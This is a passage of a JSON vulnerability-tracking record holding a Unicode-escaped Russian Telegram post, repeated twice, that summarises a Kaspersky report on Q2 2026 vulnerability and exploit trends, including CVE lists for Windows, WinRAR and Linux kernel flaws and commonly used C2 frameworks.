\u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-26T18:00:05.295802Z"}, {"uuid": "860cd54e-e524-48e8-ae62-5722d285a79d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c 